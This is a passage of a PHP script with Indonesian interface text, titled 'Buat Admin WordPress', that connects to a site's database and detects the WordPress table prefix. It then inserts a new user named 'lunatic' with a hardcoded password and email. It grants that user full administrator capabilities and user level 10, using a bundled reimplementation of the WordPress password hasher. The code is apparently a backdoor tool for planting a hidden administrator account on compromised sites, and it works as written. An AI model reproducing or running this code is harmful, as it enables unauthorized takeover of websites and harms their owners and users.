connect_error) {
$result = "
❌ Gagal konek ke database: {$conn->connect_error}
";
} else {
// Data akun
$username = 'lunatic';
$password = 'akumaurank1';
$email = 'limapersen351@gmail.com';
$hashed_password = wp_hash_password($password);
// Deteksi prefix dari *_users
$prefix = '';
$res = $conn->query("SHOW TABLES LIKE '%\_users'");
if ($res) {
while ($row = $res->fetch_array()) {
$table = $row[0];
$cols = $conn->query("SHOW COLUMNS FROM `$table`");
$hasID = false;
while ($col = $cols->fetch_assoc()) {
if (strtolower($col['Field']) === 'id') {
$hasID = true;
break;
}
}
if ($hasID) {
$prefix = str_replace('users', '', $table);
break;
}
}
}
if ($prefix === '') {
$result = "❌ Tidak ditemukan tabel users WordPress yang valid.
";
} else {
// Cek jika user sudah ada
$check = $conn->prepare("SELECT ID FROM `{$prefix}users` WHERE user_login = ?");
$check->bind_param("s", $username);
$check->execute();
$check->store_result();
if ($check->num_rows > 0) {
$result = "⚠️ User $username sudah ada!
";
} else {
// Tambah user
$insert = $conn->prepare("INSERT INTO `{$prefix}users` (user_login, user_pass, user_nicename, user_email, user_status, display_name, user_registered) VALUES (?, ?, ?, ?, 0, ?, NOW())");
$insert->bind_param("sssss", $username, $hashed_password, $username, $email, $username);
$insert->execute();
$user_id = $conn->insert_id;
// Tambah meta
$conn->query("INSERT INTO `{$prefix}usermeta` (user_id, meta_key, meta_value) VALUES ($user_id, '{$prefix}capabilities', 'a:1:{s:13:\"administrator\";b:1;}')");
$conn->query("INSERT INTO `{$prefix}usermeta` (user_id, meta_key, meta_value) VALUES ($user_id, '{$prefix}user_level', '10')");
$result = "✅ Admin berhasil dibuat!
Username: $username
Password: $password
";
}
$check->close();
}
$conn->close();
}
}
// ======= PasswordHash class (WordPress compatible) ==========
class PasswordHash {
var $itoa64, $iteration_count_log2, $portable_hashes, $random_state;
function __construct($iteration_count_log2, $portable_hashes) {
$this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
$this->iteration_count_log2 = min(max($iteration_count_log2, 4), 31);
$this->portable_hashes = $portable_hashes;
$this->random_state = microtime() . uniqid(rand(), true);
}
function get_random_bytes($count) {
$output = '';
if (($fh = @fopen('/dev/urandom', 'rb'))) {
$output = fread($fh, $count);
fclose($fh);
}
if (strlen($output) < $count) {
$output = '';
for ($i = 0; $i < $count; $i += 16) {
$this->random_state = md5(microtime() . $this->random_state);
$output .= pack('H*', md5($this->random_state));
}
$output = substr($output, 0, $count);
}
return $output;
}
function encode64($input, $count) {
$output = '';
$i = 0;
do {
$value = ord($input[$i++]);
$output .= $this->itoa64[$value & 0x3f];
if ($i < $count) $value |= ord($input[$i]) << 8;
$output .= $this->itoa64[($value >> 6) & 0x3f];
if ($i++ >= $count) break;
if ($i < $count) $value |= ord($input[$i]) << 16;
$output .= $this->itoa64[($value >> 12) & 0x3f];
if ($i++ >= $count) break;
$output .= $this->itoa64[($value >> 18) & 0x3f];
} while ($i < $count);
return $output;
}
function gensalt_private($input) {
return '$P$' . $this->itoa64[$this->iteration_count_log2] . $this->encode64($input, 6);
}
function crypt_private($password, $setting) {
$output = '*0';
if (substr($setting, 0, 2) === '*0') $output = '*1';
$id = substr($setting, 0, 3);
if ($id != '$P$' && $id != '$H$') return $output;
$count_log2 = strpos($this->itoa64, $setting[3]);
$count = 1 << $count_log2;
$salt = substr($setting, 4, 8);
$hash = md5($salt . $password, true);
do {
$hash = md5($hash . $password, true);
} while (--$count);
return substr($setting, 0, 12) . $this->encode64($hash, 16);
}
function HashPassword($password) {
$random = $this->get_random_bytes(6);
return $this->crypt_private($password, $this->gensalt_private($random));
}
}
function wp_hash_password($password) {
$hasher = new PasswordHash(8, true);
return $hasher->HashPassword($password);
}
?>
Buat Admin WordPress
🚀 Buat Admin WordPress
= $result ?>